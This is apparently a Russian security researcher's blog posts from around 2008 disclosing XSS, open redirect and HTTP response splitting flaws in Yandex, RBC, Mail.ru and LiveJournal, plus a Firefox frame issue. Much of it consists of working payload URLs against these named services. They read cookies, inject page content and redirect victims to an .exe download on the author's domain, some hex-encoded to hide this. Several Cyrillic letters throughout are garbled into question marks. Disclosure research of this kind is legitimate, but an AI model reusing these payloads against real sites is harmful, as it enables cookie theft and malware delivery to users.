Уязвимости баннерных сетей (Яндекс, Mail.ru, РБК)
Речь в данном посте пойдет про внутренние системы рекламы (ротации баннеров).
Проще говоря уязвимость представляет из себя XSS-атаку выполняемую через распространенную технику сбора статистики показов и переходов для flash-баннеров.
Общепринятым для подобных систем является использование совер?енно примитивной конструкции, причем (в том числе ?ирокоизвестные рекламные агентства, но они нам в данном контексте неинтересны) её упоминают в требованиях к баннерам. Вот эта конструкция.
on(release) {
getURL(SOME_GET_PARAM,”_blank”);
}
Конструкция абсолютно безграмотна и небезопасна, однако, как я уже говорил распространена повсеместно.
Приведу примеры в качестве ссылок, а в конце приводится работающий пример получения персональных данных с сервиса.
Примеры для браузеров на движке Gecko: линейка Mozilla, линейка Mozilla Firefox, линейка Netscape (Browser, Navigator). Flash вы?е 9 версии, однако должен работать и на более ранних.
Яндекс - http://yabs.yandex.ru/resou … rfuVLA.swf?link1=javascript:alert(document.cookie)
РБК - http://pics.rbc.ru/7e1/91 … 90.swf?link1=javascript:alert(document.cookie)
Mail.ru - http://r1.mail.ru/b6108418.swf?rb_link=javascript:alert(document.cookie)
?так, работающий пример. Пример, удобнее всего привести используя баннер из сети Яндекса. На странице будет отображен логин на Яндексе и количество новых писем в почтовом ящике. Предварительно необходимо авторизоваться на Яндексе.
Персональные данные отобразятся в браузере и никуда передаваться не будут
Update: Яндекс исправил уязвимость на уровне сервера.
Persistent Cross Site Scripting - livejournal.com
Ранее сообщалось о проблемах у ведущих блогхостингов. Неболь?ие детали.
Livejournal.com 
Приложение: /editjournal.bml, /update.bml
Пример приведу на сей раз на скрин?оте

Серьезная уязвимость в Mozilla Firefox 3.0.3 Gecko/20080201
Сразу оговорюсь, что указанная версия по сообщениям самого браузера является актуальной и обновлений для неё нет. Поэтому, как минимум для неё, информация актуальна.
Описание: Браузер данной версии позволяет выполнять следующую операцию.
window.self = window.top;
В итоге это может привести к подделке структуры окон при использовании фреймов. Т.е. используя тот факт что свойство window.self работает не только как getter, но и как setter мы можем сделать, например, iframe главным окном и выполнить его содержимое в контексте того, что он является top-окном. В некоторых случаях это чрезвычайно критично.
Firefox более ранних версий, а также все версии Opera, Internet Explorer подобного не поддерживают и сообщают о соотвествующем исключении при выполнении данного действия.
Пример - http://fuzzing.ru/blog/files/ff.iframe/ciframe.html
Мас?табные проблемы у ведущих блогхостингов и почтовых систем.
Уязвимости подвержены множество самых популярных систем ведения блогов и некоторые почтовые системы.
- Тип уязвимости: Межсайтовое выполнение сценариев (Persistent Cross Site Scripting). Недостаточная фильтрация содержимого.
Приложение: Формы обработки записей и комментариев, как правило.
Ввиду чрезвычайно высокого мас?таба данной уязвимости и очень опасных последствий её эксплуатации названия конкретных сервисов и конкретные способы эксплуатации я опускаю. Упомяну ли?ь, что в контексте блогхостинга это такие вещи как добавление посетителю в друзья произвольного пользователя, распространение зловредного ПО посетителям как блогов злоумы?ленников так и блогов популярных пользователей. Варианты и детали реализации способов эксплуатации могут быть различными и зависеть от особенностей конкретной системы.
Причины возникновения: Стандарт W3C предусматривает (и что самое удивительное поддерживают все основные браузеры) поддержку загрузки в элементе <OBJECT> содержимого очень разных типов, в том числе, таких в которых модулем обработки содержимого будет не специальный плагин, а базовые модули браузера.
К примеру, в данном элементе возможна загрузка и полноценный рендеринг содержимого с типом text/html.
<object height="0" width="0" type="text/html" data="http://fuzzing.ru/blog/"></object>
?нформация приведенная в данном сообщении опубликована в исследовательских целях и преследует только одну итоговую цель - массовое исправление данной проблемы вендорами. Автор не несет ответственности за использование данной информацции в корыстных целях третьими лицами.
Вендоры за деталями могут обращаться по почте site@fuzzing.ru. К сожалению, уязвимых систем крайне много.
Вновь об уязвимостях проектов РосБизнесКонсалтинга
Обновление: новые примеры, предыдущие исправлены.
Берем первый попав?ийся мне вариант, где файл отдает некий скрипт (прямой редирект на файл вроде исправили).
Встретить в сети нормально организованный скриптовый редирект очень непросто, подавляющее боль?инство представляют из себя серьезную уязвимость.
- Тип уязвимости: Переадресация URL.
Приложение: http://www.rbc.ru/bredir/, http://banner.rbc.ru/banredir.cgi, http://www.rbc.ru/3e/9jjjgygaf/click
GET-переменные: code
Примеры:
- Тип уязвимости: ?ндексирование директорий (Directory Indexing), как следствие -> Раскрытие исходного кода (Source code disclosure)
Путь: http://banner.rbc.ru/banredir.cgi~
Комментарий: Часть кода работает именно так как описано в скрипте, однако есть все же подозрение, что он немного неактуальный. Судя по коду, очевидно, есть скрытое внедрение SQL-операторов (Blind SQL-injection) ну и много другой полезной информации.
Множественные уязвимости проектов РосБизнесКонсалтинга

- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /
GET-переменные: нет
Примечание: Уязвимость вызвана отсутствием фильтрации (или кодирования) исходного URL. Работает только во всех версиях Internet Explorer.
Возможные области применения (приведены простые примеры):
- Распространение вредоносного ПО - http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=">test</a><script>document.location.replace(’http://fuzzing.ru/%62%6C%6F%67/%66%69%6C%65%73/FirefoxSetup.exe’);</script>
- Подмена содержимого страницы - http://top.rbc.ru/incidents/22/10/2008/254898.shtml?fuzzing.ru=">test</a><script>document.body.innerHTML=’<h1>Fuzzing.ru’</script>
Приведенные примеры очень грубые. Без сомнений можно полагать, что качественная эксплуатация данных уязвимостей является делом техники.
- Тип уязвимости: Переадресация URL.
Приложение: http://redir.rbc.ru/cgi-bin/redirect.cgi
GET-переменные: нет
Возможные области применения (приведены простые примеры):
- Распространение вредоносного ПО - http://redir.rbc.ru/cgi-bin/redirect.cgi?http://%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65
Ну и напоследок, не очень практичная, но тем не менее полноценная…
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) - DOM based. Недостаточная фильтрация содержимого переменной.
Приложение: /
GET-переменные: нет
Причины те же что и у описанной вы?е XSS-уязвимости, но немного другой механизм срабатывания.
Пример: http://top.rbc.ru/incidents/22/10/2008/254898.shtml?’);alert(document.cookie);encodeURIComponent(’
Механизм срабатывания ограничен событием в которое упаковано внедренное содержимое (onclick по ссылке добавления в закладки текущей статьи), либо событием которое можно добавить элементу при внедрении. Однако элемент <a> событий которые можно создать без действий пользователя (к примеру, onload, onerrror) не имеет. Поэтому для просмотра результата надо кликнуть по ссылке добавления “в мемориз”.
Обновление :: ?справление уязвимостей suggest.yandex.ru
По факту исправлений понятно, что исправлено ли?ь расщепление HTTP-запроса. Все остальное работает несколько в другом виде.
- http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&part=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3E%3C%2F%62%6F%64%79%3E
- http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&part=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%62%6F%64%79%3E
- http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&part=%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%27%72%65%66%72%65%73%68%27%20%63%6F%6E%74%65%6E%74%3D%27%30%3B%75%72%6C%3D%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%6D%65%74%61%3E
По другим примерам аналог находится чуть более сложно.
Множественные уязвимости в сервисе поисковых подсказок Яндекса (suggest.yandex.ru)

- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /suggest-ya.cgi
GET-переменные: part
Пример: http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&part=<script>alert(document.cookie)</script>
- Тип уязвимости: Расщепление HTTP-запроса (HTTP Response Splitting)
Приложение: /suggest-ya.cgi
GET-переменные: ct
Пример: http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aSet-cookie:Fuzzing=fuzzing.ru%0d%0a%0d%0a&part=fuzzing.ru (устанавливает cookie от имени сервера)
Простые примеры применения, не говоря уже о сложных вариантах.
- Универсальный редиректор - http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aLocation:%20http://fuzzing.ru/%0d%0a%0d%0a&part=fuzzing.ru
- ?спользование уязвимостей других приложений или распостранение вирусов (подмена content-type)
Можно предложить, к примеру, скачать с Яндекса великолепную программу Firefox с поиском Яндекса
?ли любое другое приложение или мультимедиа-файл. К примеру.